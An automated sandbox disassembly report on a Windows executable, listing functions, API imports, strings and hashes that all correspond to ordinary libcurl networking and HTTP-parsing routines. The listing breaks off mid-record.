_mbscpy.MSVCRT(?,/][,00000000,00000000), ref: 00406F61
memmove.MSVCRT(?,?,?,00000000), ref: 00406F96
strcmp.MSVCRT ref: 00406FCA
memcpy.MSVCRT(00000000,?,?,00000000), ref: 0040709E
memcpy.MSVCRT(00000000,?,?,?,?,00000000), ref: 004070B6
strchr.MSVCRT ref: 00407134
curl_easy_unescape.YX1WZ608PO(?,00000000,00000000,00000000), ref: 004071A5
curl_easy_unescape.YX1WZ608PO(?,00000000,00000000,00000000), ref: 004071D7
curl_easy_unescape.YX1WZ608PO(?,00000000,00000000,00000000), ref: 00407209
strchr.MSVCRT ref: 0040729D
strncmp.MSVCRT ref: 004072B4
strtoul.MSVCRT ref: 004072CF
memmove.MSVCRT(00000000,00000000,?,00000000), ref: 004072F5
strchr.MSVCRT ref: 00407329
strchr.MSVCRT ref: 00407348
curl_maprintf.YX1WZ608PO(%s://%s,?,?,?), ref: 004073EE
strchr.MSVCRT ref: 0040746E
memset.MSVCRT ref: 004074CF
memset.MSVCRT ref: 004074F0
strncpy.MSVCRT ref: 00407516
strncpy.MSVCRT ref: 00407540
curl_easy_unescape.YX1WZ608PO(?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 00407560
curl_easy_unescape.YX1WZ608PO(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407587

Strings

Protocol %s not supported or disabled in libcurl, xrefs: 004073C5
)F@, xrefs: 004067F0, 004069C0, 004069C1
FTP., xrefs: 00406DB7
%25, xrefs: 004072AF
ftp@example.com, xrefs: 00407758
%15[^:]:%[^], xrefs: 00406C67
file, xrefs: 00406C85, 00406D1A, 00406EA1
%s://%s, xrefs: 004073E9
%15[^:]://%[^/?]%[^], xrefs: 00406D4D
DICT., xrefs: 00406DDF
%[^/?]%[^], xrefs: 00406D80
memory shortage, xrefs: 004075C2
anonymous, xrefs: 0040773D
IMAP., xrefs: 00406E2B
POP3., xrefs: 00406E73
LDAP., xrefs: 00406E07
/][, xrefs: 00406F5B
SMTP., xrefs: 00406E4F
<url> malformed, xrefs: 00406D99

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: strchr$curl_easy_unescapememmove$memcpysscanf$memsetstrncpy$CountTick_mbscpycurl_maprintfmallocstrcmpstrncmpstrtoul
String ID: %15[^:]://%[^/?]%[^]$%15[^:]:%[^]$%25$%[^/?]%[^]$%s://%s$)F@$/][$<url> malformed$DICT.$FTP.$IMAP.$LDAP.$POP3.$Protocol %s not supported or disabled in libcurl$SMTP.$anonymous$file$ftp@example.com$memory shortage
API String ID: 2474904442-1890372427
Opcode ID: a1a284fd21ab1bdd4a0d7ab438f6f0bec9a163bb07239c7d0fb328b3e781d782
Instruction ID: 1147bfa3d77cd37a229227c710190cd340d08e29682cb47f22601ba0a51a2b5e
Opcode Fuzzy Hash: a1a284fd21ab1bdd4a0d7ab438f6f0bec9a163bb07239c7d0fb328b3e781d782
Instruction Fuzzy Hash: 08A2C770D043059BEB21AB38CC49BEBBBB4EF04304F1446BAE819A73C2D779A955CB55

Function 004143DA Relevance: 74.6, APIs: 12, Strings: 30, Instructions: 1059COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00414401

Strings

close, xrefs: 00414C6A, 00414CCE
Content-Range:, xrefs: 00414FC2
Content-Length:, xrefs: 00414AC2
identity, xrefs: 00414D9C, 00414EFF
HTTP %3d, xrefs: 0041482F
Transfer-Encoding:, xrefs: 00414D02
Content-Type:, xrefs: 00414B4B
Connection:, xrefs: 00414CA7, 00414CD3
keep-alive, xrefs: 00414C38, 00414CA2
compress, xrefs: 00414E35, 00414F80
chunked, xrefs: 00414D62
x-gzip, xrefs: 00414E0E, 00414F5C
x-compress, xrefs: 00414E5C, 00414F95
HTTP, xrefs: 00414989
deflate, xrefs: 00414DC0, 00414F23
Proxy-Connection:, xrefs: 00414C3D, 00414C6F
WWW-Authenticate:, xrefs: 00415118
The requested URL returned error: %s, xrefs: 004149E8
RTSP/%d.%d %3d, xrefs: 004148A3
Last-Modified:, xrefs: 004150A9
Proxy-authenticate:, xrefs: 0041513E
Location:, xrefs: 004151CA
HTTP/%d.%d %3d, xrefs: 0041480B
Maximum file size exceeded, xrefs: 00414B0C
Server:, xrefs: 00414BC3
gzip, xrefs: 00414DE7, 00414F47
?, xrefs: 00414B17
Set-Cookie:, xrefs: 0041503C
Content-Encoding:, xrefs: 00414E8C
The requested URL returned error: %d, xrefs: 004149FE

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: memchr
String ID: HTTP %3d$ HTTP/%d.%d %3d$ RTSP/%d.%d %3d$?$Connection:$Content-Encoding:$Content-Length:$Content-Range:$Content-Type:$HTTP$Last-Modified:$Location:$Maximum file size exceeded$Proxy-Connection:$Proxy-authenticate:$Server:$Set-Cookie:$The requested URL returned error: %d$The requested URL returned error: %s$Transfer-Encoding:$WWW-Authenticate:$chunked$close$compress$deflate$gzip$identity$keep-alive$x-compress$x-gzip
API String ID: 3297308162-522407264
Opcode ID: 5d219d38568fd7600d4e6a2f68ab3724eb37ecbf3a40e54156081a63b0d67ae1
Instruction ID: 49200699b2965bf9acf9029c92444120942174240de55357dbf93c9af428050a
Opcode Fuzzy Hash: 5d219d38568fd7600d4e6a2f68ab3724eb37ecbf3a40e54156081a63b0d67ae1
Instruction Fuzzy Hash: F792F6B0A00704EFE7209B34C845BE777E5AF81318F14455FE9A957382E779A8C4CB6A

Function 00402589 Relevance: 31.9, APIs: 4, Strings: 14, Instructions: 387
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402244: curl_maprintf.YX1WZ608PO(------------------------%08x%08x,00000000,00000000,?,?,?,?,?,004025CF), ref: 00402268

curl_strequal.YX1WZ608PO(0041F1E9,?,00000000,00000000), ref: 0040282D
fclose.MSVCRT ref: 0040286B

Part of subcall function 00402410: curl_mvsnprintf.YX1WZ608PO(?,00001000,00000000,00000000,00000000,?,00402600,00000000,00000000,%s; boundary=%s,00000000,?), ref: 00402434

fopen.MSVCRT ref: 00402851
fread.MSVCRT ref: 004028C1

Part of subcall function 0040E249: curl_mvsnprintf.YX1WZ608PO(00000535,00004000,?,?,?,?,00401728,?,Failed to get recent socket,00000001,00000001,?,?,?,00401758), ref: 0040E26B
Part of subcall function 0040E249: curl_msnprintf.YX1WZ608PO(?,00000100,0041FB9F,00000535), ref: 0040E292

Strings

Content-Type: %s, xrefs: 0040279F
Content-Type: multipart/form-data, xrefs: 004025E1, 004025EF
%s; boundary=%s, xrefs: 004025F3
--%sContent-Disposition: attachment, xrefs: 0040273C
}*@, xrefs: 004029F6, 00402A31
--%s--, xrefs: 0040297B
--%s--, xrefs: 004029A3
Content-Type: multipart/mixed; boundary=%s, xrefs: 00402709
Content-Disposition: form-data; name=", xrefs: 00402671
--%s, xrefs: 00402651
%s, xrefs: 004027CB
, xrefs: 004027FA
couldn't open file "%s", xrefs: 004028DF
}*@, xrefs: 004029BE, 004029C1

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_mvsnprintf$curl_maprintfcurl_msnprintfcurl_strequalfclosefopenfread
String ID: $%s$--%sContent-Disposition: attachment$--%s--$--%s--$Content-Type: %s$Content-Type: multipart/mixed; boundary=%s$%s; boundary=%s$--%s$Content-Disposition: form-data; name="$Content-Type: multipart/form-data$couldn't open file "%s"$}*@$}*@
API String ID: 2178432895-2471619775
Opcode ID: 1453a69180b53bf0bf248f40a740ee612e64075d7df344f9667b1ae80a3ad2ac
Instruction ID: c64b87b45ca3645d567827abca9bafd10d1b6de3bd7cc5b5c9ca8a2d26f80bb8
Opcode Fuzzy Hash: 1453a69180b53bf0bf248f40a740ee612e64075d7df344f9667b1ae80a3ad2ac
Instruction Fuzzy Hash: A3D198B1A00116ABDF11DA95CE49FEB73B8EB48304F144576EC04B72C1E7B8DD458BA5

Function 0041D320 Relevance: 25.7, APIs: 17, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setlocale.MSVCRT ref: 0041D330
_mbsdup.MSVCRT ref: 0041D342
setlocale.MSVCRT ref: 0041D355
wcstombs.MSVCRT ref: 0041D370
realloc.MSVCRT ref: 0041D382
wcstombs.MSVCRT ref: 0041D396
setlocale.MSVCRT ref: 0041D3A0
free.MSVCRT ref: 0041D3A8
mbstowcs.MSVCRT ref: 0041D3C9
mbstowcs.MSVCRT ref: 0041D3EF
wcstombs.MSVCRT ref: 0041D483
wcstombs.MSVCRT ref: 0041D4A2
setlocale.MSVCRT ref: 0041D4B6
free.MSVCRT ref: 0041D4BE

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: setlocalewcstombs$freembstowcs$_mbsduprealloc
String ID:
API String ID: 1502579932-0
Opcode ID: ca7a8c57265a7a1b90a23c368c741cc2281d81db0bf28d82d1f906e02fffb5da
Instruction ID: 4fc36ce2d2317d8cbe7fb2894aab5c52cd8c28c270fa4ccf5a679d06dfc23c37
Opcode Fuzzy Hash: ca7a8c57265a7a1b90a23c368c741cc2281d81db0bf28d82d1f906e02fffb5da
Instruction Fuzzy Hash: 62512AF5E002256AEB20AB589C46BFB7768EB40398F54041BF9054B382F67C5DD1C2EE

Function 0040F294 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 0040F2D5
WSAGetLastError.WS2_32 ref: 0040F2DF

Part of subcall function 004032F7: GetLastError.KERNEL32 ref: 00403306
Part of subcall function 004032F7: strerror.MSVCRT ref: 0040332C
Part of subcall function 004032F7: strncpy.MSVCRT ref: 0040333B
Part of subcall function 004032F7: strrchr.MSVCRT ref: 004033A7
Part of subcall function 004032F7: strrchr.MSVCRT ref: 004033C2
Part of subcall function 004032F7: GetLastError.KERNEL32 ref: 004033D9
Part of subcall function 004032F7: SetLastError.KERNEL32(?), ref: 004033E9

getsockname.WS2_32(?,?,?), ref: 0040F30E
WSAGetLastError.WS2_32 ref: 0040F318

Strings

ssloc inet_ntop() failed with errno %d: %s, xrefs: 0040F3A4
ssrem inet_ntop() failed with errno %d: %s, xrefs: 0040F360
getpeername() failed with errno %d: %s, xrefs: 0040F2F1
getsockname() failed with errno %d: %s, xrefs: 0040F32A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLast$strrchr$getpeernamegetsocknamestrerrorstrncpy
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 806246932-670633250
Opcode ID: 4b72b1be16268873b7eb56c992baedb92b0d6796cde5ddf214de99217502aad3
Instruction ID: cce59dadeba2efd1bb00e5f50caf501267592cf60db92dbb47f39d5058fc7f5c
Opcode Fuzzy Hash: 4b72b1be16268873b7eb56c992baedb92b0d6796cde5ddf214de99217502aad3
Instruction Fuzzy Hash: B53176B154020D7DF720AA61CC86EFB775CDB01358F10447BFD48B2182EA785E4E46B9

Function 00401C0A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_multi_setopt.YX1WZ608PO(?,00000006,?), ref: 00401C76
curl_multi_add_handle.YX1WZ608PO(?,00000000,?), ref: 00401C81
curl_multi_cleanup.YX1WZ608PO(?), ref: 00401C98

Part of subcall function 0040E249: curl_mvsnprintf.YX1WZ608PO(00000535,00004000,?,?,?,?,00401728,?,Failed to get recent socket,00000001,00000001,?,?,?,00401758), ref: 0040E26B
Part of subcall function 0040E249: curl_msnprintf.YX1WZ608PO(?,00000100,0041FB9F,00000535), ref: 0040E292

Strings

easy handle already used in multi handle, xrefs: 00401C2D

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintfcurl_multi_add_handlecurl_multi_cleanupcurl_multi_setoptcurl_mvsnprintf
String ID: easy handle already used in multi handle
API String ID: 3147336940-2284409743
Opcode ID: 12dbbe88608bf285c33ffbd68bde0780ba7e4dffcae54aa2036cf539bc4bcb7a
Instruction ID: 232c349170c9214250c8d1be0f9c4506d399f9ca2213a96f0d0120a7784879c5
Opcode Fuzzy Hash: 12dbbe88608bf285c33ffbd68bde0780ba7e4dffcae54aa2036cf539bc4bcb7a
Instruction Fuzzy Hash: E7418375900205ABEB216A65CC82FEF366CEF05354F140677F904B62D2E73DDA4186EA

Function 0041A86A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_msnprintf.YX1WZ608PO(?,0000000B,%x%s,00000000,00421964), ref: 0041A99B
memcpy.MSVCRT(?,?,00000000), ref: 0041A9C2
memcpy.MSVCRT(?,00421964), ref: 0041A9EB

Strings

%x%s, xrefs: 0041A993
Read callback asked for PAUSE when not supported!, xrefs: 0041A8ED
read function returned funny value, xrefs: 0041A93E
operation aborted by callback, xrefs: 0041A8BA

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: memcpy$curl_msnprintf
String ID: %x%s$Read callback asked for PAUSE when not supported!$operation aborted by callback$read function returned funny value
API String ID: 31508693-1291304620
Opcode ID: e660d5be6c2a20ce2142b48ef39eb4078c36ba534cc916a1fcc42f387f8802d4
Instruction ID: 5340af59d9518d5f797056891fabbe56c35b1efb65620cfe6ea7240156ecfda8
Opcode Fuzzy Hash: e660d5be6c2a20ce2142b48ef39eb4078c36ba534cc916a1fcc42f387f8802d4
Instruction Fuzzy Hash: 4A51B3B0A01249AFDB10DFA4D888BEEBBB5FF04354F244266F45467291D378ADD0CBA5

Function 00403768 Relevance: 12.2, APIs: 8, Instructions: 245
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(0000000100000000,00000000,00000000,00000000,00000000), ref: 00403972
WSAGetLastError.WS2_32(?,00000000,00000000), ref: 00403981

Part of subcall function 00403400: WSASetLastError.WS2_32(00002726,?,?,?,0040347A,?), ref: 0040341A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLast$select
String ID:
API String ID: 1043644060-0
Opcode ID: 538dac40f40f2714e35906fd338a83af42b0ac5ffbc5a81357e556a0c00a9b49
Instruction ID: 9667039a9e18e6efff13f6e8a96578db93c45c30080a37bf4fbbe1fcb954f00a
Opcode Fuzzy Hash: 538dac40f40f2714e35906fd338a83af42b0ac5ffbc5a81357e556a0c00a9b49
Instruction Fuzzy Hash: 349174B19002198FDB25DF59CC847EE7BBDEB44325F1482BAE518A62C0D7789F858F84

Function 00401110 Relevance: 12.1, APIs: 8, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00401118

Part of subcall function 00401020: SetUnhandledExceptionFilter.KERNEL32(00401150), ref: 0040102C
Part of subcall function 00401020: __getmainargs.MSVCRT ref: 00401061
Part of subcall function 00401020: __p__fmode.MSVCRT ref: 00401072
Part of subcall function 00401020: __p__environ.MSVCRT ref: 0040108C
Part of subcall function 00401020: _cexit.MSVCRT ref: 004010A9
Part of subcall function 00401020: ExitProcess.KERNEL32(?,?,?,759E4600), ref: 004010B1
Part of subcall function 00401020: _setmode.MSVCRT ref: 004010C8
Part of subcall function 00401020: _setmode.MSVCRT ref: 004010E1
Part of subcall function 00401020: _setmode.MSVCRT ref: 004010FA

__set_app_type.MSVCRT ref: 00401138
signal.MSVCRT ref: 00401177
signal.MSVCRT ref: 004011CB

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _setmode$__set_app_typesignal$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 312243418-0
Opcode ID: 0b8e48c4c9919feb9f67a413dbd92d7f3d62bcfbb73864fceeda5100ad866acd
Instruction ID: 1ab5b193a3faf6927084c3a0fe737c0d007d1cb5ca743071a026270b757cf42a
Opcode Fuzzy Hash: 0b8e48c4c9919feb9f67a413dbd92d7f3d62bcfbb73864fceeda5100ad866acd
Instruction Fuzzy Hash: FD3181B1A502007AF62471780C42F77311DAB0A728F650737FB39FA2E6E5B9999501BF

Function 0040E2EF Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(?,?,?), ref: 0040E37D
fwrite.MSVCRT(?,00000001,?,?), ref: 0040E3AB

Strings

Failed writing header, xrefs: 0040E44F
Failed writing body (%zu != %zu), xrefs: 0040E3E4
Write callback asked for PAUSE when not supported!, xrefs: 0040E3CC

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: fwritememcpy
String ID: Failed writing body (%zu != %zu)$Failed writing header$Write callback asked for PAUSE when not supported!
API String ID: 4173912309-2483876519
Opcode ID: dbccc1b4aa4f401c3caa54d79225662ecd97faf114dabad51326cf7a1648b957
Instruction ID: 56e79b6758bb71df2fde7afc4eae3870e794655e640e318243ba78cca0c158cf
Opcode Fuzzy Hash: dbccc1b4aa4f401c3caa54d79225662ecd97faf114dabad51326cf7a1648b957
Instruction Fuzzy Hash: A341D171A002159BDB20CE5ACC85BFFBBA4FF44310F144976EC18AB386D378996187A5

Function 0040DF0A Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_msnprintf.YX1WZ608PO(?,000000A0,[%s %s %s],Header,0041FB8A,558B0000,00000535,00000535), ref: 0040DFA7

Strings

[%s %s %s], xrefs: 0040DF9C
Header, xrefs: 0040DF86
from, xrefs: 0040DF50, 0040DF63, 0040DF8E
Data, xrefs: 0040DF5C, 0040DF95

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf
String ID: Data$Header$[%s %s %s]$from
API String ID: 1809024409-3178933089
Opcode ID: fdd79c97c7dee26ef0f1797e2b2bb259cda005c40436db73d957fe9309626565
Instruction ID: 9947a823c07c399f0e72b842eb8e3c9d614a503c1205d5a322e653aeeed5db0e
Opcode Fuzzy Hash: fdd79c97c7dee26ef0f1797e2b2bb259cda005c40436db73d957fe9309626565
Instruction Fuzzy Hash: 3321D730F0420696DB2095698C55AA73665DB85320F14C077F90BB76C5D738AD4EC65F

Function 00403434 Relevance: 7.7, APIs: 5, Instructions: 226
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C374: GetTickCount.KERNEL32 ref: 0040C379

select.WS2_32(0000000100000000,00000000,00000000,00000000,00000000), ref: 0040360F
WSAGetLastError.WS2_32(?,00000000,00000000), ref: 0040361E
__WSAFDIsSet.WS2_32(00000000,00000000), ref: 004036D0
__WSAFDIsSet.WS2_32(00000000,00000000), ref: 004036EE
__WSAFDIsSet.WS2_32(00000000,00000000), ref: 0040370C

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: CountErrorLastTickselect
String ID:
API String ID: 3813751830-0
Opcode ID: 6268ef0d8ea8f08534245ee02e449ec7d83a9e3842cdb1fea97342718ac09039
Instruction ID: bdaca32d7bd713cba19af5aa0abd588711906ad5458b9c9d42c20d5b0355d96c
Opcode Fuzzy Hash: 6268ef0d8ea8f08534245ee02e449ec7d83a9e3842cdb1fea97342718ac09039
Instruction Fuzzy Hash: 509175B09002199BDB25CF14C8857EE7BBCFB44315F1086BAD419A62D0D339AF95CF85

Function 0040F3C8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Connection time-out, xrefs: 0040F420
Failed to connect to %s port %ld: %s, xrefs: 0040F678
L', xrefs: 0040F494

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
